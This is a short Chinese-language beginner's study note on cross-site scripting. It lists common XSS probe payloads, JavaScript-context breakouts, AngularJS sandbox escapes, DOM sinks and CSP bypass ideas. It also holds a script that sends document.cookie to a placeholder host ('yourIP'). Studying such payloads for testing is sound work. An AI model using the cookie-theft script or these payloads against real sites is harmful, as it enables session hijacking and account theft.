小白学习安全的知识笔记,还望大佬轻喷,多多帮助和指教
1、各种输入的点,名称、上传、留言、可交互的地方、选择列表,一切输入都是有害原则。
2、在URL或表单中提交的参数值在页面中有显示,很可能存在xss
XSS备忘单 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
常用
- "><script>alert(1)</script>
- <img src=1 οnerrοr=alert(1)>
- " autofocus οnfοcus=alert(1) x="
- <a href="javascript:alert(1)">
- "><svg οnlοad=alert(1)>
js方法
- '-alert(1)-'
' 单引号 跳出前一个js
';alert(1)//
\\';alert(1)// 当单引号被转义时
- ${alert(1)}
有引号处理文字时 如:var input='payload';
- ttps://IP?%27accesskey=%27x%27οnclick=%27alert(1)
盗取cookie
<script>
document.location = 'https://yourIP?cookie='+document.cookie
</script>
DOM XSS常出现位置函数:
document.write、location.search、eval()、location、
someDOMElement.innerHTML/uterHTML/insertAdjacentHTML/onevent、
沙箱逃逸
- toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
- <input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">
- {{$on.constructor('alert(1)')()}}
绕过CSP
1、悬空标记注入,指定url地址后面用?跟参数
2、修改响应包中CSP指令,覆盖现有规则script-src等
(持续学习补充中。。。。)